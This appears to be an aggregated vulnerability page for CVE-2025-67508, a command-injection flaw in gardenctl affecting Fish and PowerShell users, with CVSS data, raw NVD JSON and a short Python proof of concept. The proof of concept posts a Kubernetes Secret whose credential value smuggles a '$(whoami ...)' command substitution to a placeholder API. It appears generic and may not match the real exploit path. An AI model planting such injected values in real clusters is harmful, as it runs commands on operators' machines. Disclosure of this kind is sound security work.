Security Vulnerability Report
中文
CVE-2025-67508 CVSS 8.4 HIGH

CVE-2025-67508

Published: 2025-12-12 06:15:41
Last Modified: 2026-03-17 19:43:11

Description

gardenctl is a command-line client for the Gardener which configures access to clusters and cloud provider CLI tools. When using non‑POSIX shells such as Fish and PowerShell, versions 2.11.0 and below of gardenctl allow an attacker with administrative privileges for a Gardener project to craft malicious credential values. The forged credential values are used in infrastructure Secret objects that break out of the intended string context when evaluated in Fish or PowerShell environments used by the Gardener service operators. This issue is fixed in version 2.12.0.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:linuxfoundation:gardenctl:*:*:*:*:*:*:*:* - VULNERABLE
gardenctl < 2.12.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-67508 PoC - gardenctl凭证注入漏洞 # 攻击者需要具有Gardener项目管理员权限 # 构造恶意凭证值(包含Fish/PowerShell命令注入payload) # 对于Fish shell: malicious_credential_fish = '$(whoami > /tmp/pwned.txt)' # 对于PowerShell: malicious_credential_ps = '$(whoami | Out-File C:\\temp\\pwned.txt)' # 通过gardenctl API或 Gardener Dashboard 创建/更新Secret # 假设攻击者已有项目管理员权限 import requests target_url = 'https://gardener-api.example.com/api/v1/namespaces/project-xxx/secrets' headers = { 'Authorization': 'Bearer <admin_token>', 'Content-Type': 'application/json' } # 恶意Secret payload malicious_secret = { 'apiVersion': 'v1', 'kind': 'Secret', 'metadata': { 'name': 'malicious-cloud-credentials', 'namespace': 'project-xxx' }, 'type': 'Opaque', 'data': { # Base64编码的恶意凭证值 'credential': 'JCh3aG9hbWkgPiAvdG1wL3Bud25lZC50eHQp' # $(whoami > /tmp/pwned.txt) } } # 发送恶意Secret创建请求 response = requests.post(target_url, json=malicious_secret, headers=headers) print(f"Malicious Secret created: {response.status_code}") print("When service operator uses gardenctl in Fish/PowerShell,") print("the injected command will be executed in their context.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67508", "sourceIdentifier": "[email protected]", "published": "2025-12-12T06:15:40.990", "lastModified": "2026-03-17T19:43:11.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "gardenctl is a command-line client for the Gardener which configures access to clusters and cloud provider CLI tools. When using non‑POSIX shells such as Fish and PowerShell, versions 2.11.0 and below of gardenctl allow an attacker with administrative privileges for a Gardener project to craft malicious credential values. The forged credential values are used in infrastructure Secret objects that break out of the intended string context when evaluated in Fish or PowerShell environments used by the Gardener service operators. This issue is fixed in version 2.12.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.7, "impactScore": 6.0}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:gardenctl:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.12.0", "matchCriteriaId": "EDB7F167-5D5E-44EE-8292-B4EC9D7D23D9"}]}]}], "references": [{"url": "https://github.com/gardener/gardenctl-v2/security/advisories/GHSA-fw33-qpx7-rhx2", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}